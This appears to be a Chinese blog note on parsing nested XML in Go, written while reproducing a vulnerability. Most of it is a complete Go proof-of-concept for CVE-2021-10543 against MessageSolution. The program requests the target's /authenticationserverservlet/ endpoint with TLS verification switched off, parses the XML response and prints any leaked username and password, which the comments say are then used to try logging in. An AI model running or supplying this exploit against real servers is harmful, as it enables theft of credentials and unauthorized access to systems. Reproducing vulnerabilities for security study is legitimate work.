複現漏洞的時候遇到了xml解析問題
之前沒搞過記錄一下
一個xml線上格式化網站(https://tool.oschina.net/codeformat/xml)
對于go語言解析xml需要用到結構體
而圖中的xml有兩層嵌套
就需要通過結構體來套結構體實作解析
以上圖為例
第一層結構體
type 第一層 struct{
//第一層的xml入口
XMLName xml.Name `xml:"authenticationserver"`
//對應解析server
Server Seconding(第二層結構體的名稱) `xml:"server"`
}
第二層結構體
type 第二層 struct{
//第二層入口有需要添加
//對應需要解析的位置
Username string `xml:"username"`
Password string `xml:"password"`
}
對應的本次複現的CVE-2021-10543
package main
import (
"crypto/tls"
"encoding/xml"
"fmt"
"io/ioutil"
"net/http"
"os"
"time"
)
/*
CVE-2021-10543 poc
通路MessageSolution目标的/authenticationserverservlet/
檢視是否有username password
嘗試登入
*/
func exp(urls string) {
tr := &http.Transport{
TLSClientConfig: &tls.Config{
InsecureSkipVerify: true,
},
}
client := &http.Client{
Timeout: 5*time.Second,
Transport: tr,
}
req ,err := http.NewRequest("GET",urls,nil)
req.Header.Add("User-Agent","Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0")
if err != nil {
panic(err)
}
resp , err := client.Do(req)
if err != nil {
panic(err)
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
type Seconding struct {
Username string `xml:"username"`
Password string `xml:"password"`
}
type mesgsoserver struct {
XMLName xml.Name `xml:"authenticationserver"`
Server Seconding `xml:"server"`
}
x := mesgsoserver{}
err = xml.Unmarshal(body,&x)
if err != nil{
fmt.Println(err)
}
if err != nil {
fmt.Println("HttpGet error is ", err)
}
if resp.StatusCode == 200 {
//fmt.Println("body is",string(body))
fmt.Println(x.Server.Username)
fmt.Println(x.Server.Password)
}else {
fmt.Println("body is",string(body))
fmt.Println("err")
}
}
func check(urls string) {
url := urls + "/authenticationserverservlet/"
exp(url)
}
func main() {
urls := os.Args[1]
check(urls)
}